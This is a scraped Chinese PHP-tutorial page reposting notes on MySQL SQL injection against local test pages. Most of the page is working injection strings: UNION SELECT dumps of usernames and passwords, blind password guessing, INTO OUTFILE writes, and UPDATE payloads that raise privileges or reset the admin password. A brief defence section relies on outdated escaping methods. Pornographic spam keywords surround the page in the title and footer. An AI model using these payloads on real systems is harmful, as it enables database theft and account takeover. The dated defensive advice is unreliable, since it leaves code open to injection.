国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - PHP的SQL注入實現(測試代碼安全不錯)

PHP的SQL注入實現(測試代碼安全不錯)

2019-11-18 14:11PHP教程網 PHP教程

看黑客是如何入侵的,我們寫編寫php代碼的過程中,最好自己先測試效果。

SQL注入的重點就是構造SQL語句,只有靈活的運用SQL 
語句才能構造出牛比的注入字符串。學完之后寫了點筆記,已備隨時使用。希望你在看下面內容時先了 
解SQL的基本原理。筆記中的代碼來自網絡。 
===基礎部分=== 
本表查詢: 
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m 

Union聯合語句: 
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* 
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* 

導出文件: 
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt 
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt 
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt 

INSERT語句: 
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 
構造homepage值為:http://4ngel.net', '3')# 
SQL語句變為:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1'); 

UPDATE語句:我喜歡這樣個東西 
先理解這句SQL 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' 
如果此SQL被修改成以下形式,就實現了注入 
1:修改homepage值為 
http://4ngel.net', userlevel='3 
之后SQL語句變為 
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' 
userlevel為用戶級別 
2:修改password值為 
mypass)' WHERE username='admin'# 
之后SQL語句變為 
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 
3:修改id值為 
' OR username='admin' 
之后SQL語句變為 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' 

===高級部分=== 
常用的MySQL內置函數 
DATABASE() 
USER() 
SYSTEM_USER() 
SESSION_USER() 
CURRENT_USER() 
database() 
version() 
SUBSTRING() 
MID() 
char() 
load_file() 
…… 
函數應用 
UPDATE article SET /> http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() 
SELECT * FROM user WHERE username=char(97,110,103,101,108) 
# char(97,110,103,101,108) 相當于angel,十進制 
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100) 
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111 

確定數據結構的字段個數及類型 
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97) 

猜數據表名 
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members 

跨表查詢得到用戶名和密碼 
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 

其他 
#驗證第一位密碼 
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 

===注入防范=== 
服務器方面 
magic_quotes_gpc設置為On 
display_errors設置為Off 
編碼方面 
$keywords = addslashes($keywords); 
$keywords = str_replace("_","\_",$keywords); 
$keywords = str_replace("%","\%",$keywords); 
數值類型 
使用intval()抓換 
字符串類型 
SQL語句參數中要添加單引號 
下面代碼,用于防治注入 
if (get_magic_quotes_gpc()) { 
//.... 
}else{ 
$str = mysql_real_escape_string($str); 
$keywords = str_replace("_","\_",$keywords); 
$keywords = str_replace("%","\%",$keywords); 

有用的函數 
stripslashes() 
get_magic_quotes_gpc() 
mysql_real_escape_string() 
strip_tags() 
array_map() 
addslashes() 
參考文章: 
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文 
http://www.phpe.net/mysql_manual/06-4.html(MYSQL語句參考)

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 91激情在线| 一区二区三区四区在线 | 亚洲国产精品自拍视频 | 欧美成人综合在线 | 亚洲精品一区在线观看 | 色婷婷精品久久二区二区蜜臂av | 一级a性色生活片久久毛片 国产精品久久久久久久久久免费看 | 欧美不卡视频 | 日本99精品| 日韩在线免费 | 国产精品久久久久久亚洲调教 | 91精品国产综合久久婷婷香蕉 | 夜夜操导航 | 欧美精品一区二区三区在线 | 极品国产精品 | www.中文字幕 | 免费无遮挡www小视频 | 欧美日韩国产一区二区三区 | 后人极品翘臀美女在线播放 | 北条麻妃在线一区二区 | 国产在线精品一区 | 激情五月婷婷综合 | 日韩在线视频观看免费 | 久久久成人免费一区二区 | 免费看黄色电影 | 成人午夜视频免费 | 欧美成人一区二区三区 | 精品欧美乱码久久久久久 | 成人免费在线观看网址 | 综合色久| 人人射视频 | 久久久成人av| 奇米亚洲午夜久久精品 | 视频一区在线 | 亚洲aaa在线观看 | 色婷婷基地 | 亚洲欧美一区在线 | 欧美日韩成人在线观看 | 狠狠色狠色综合曰曰 | 国产亚洲精品精品国产亚洲综合 | 综合色网站|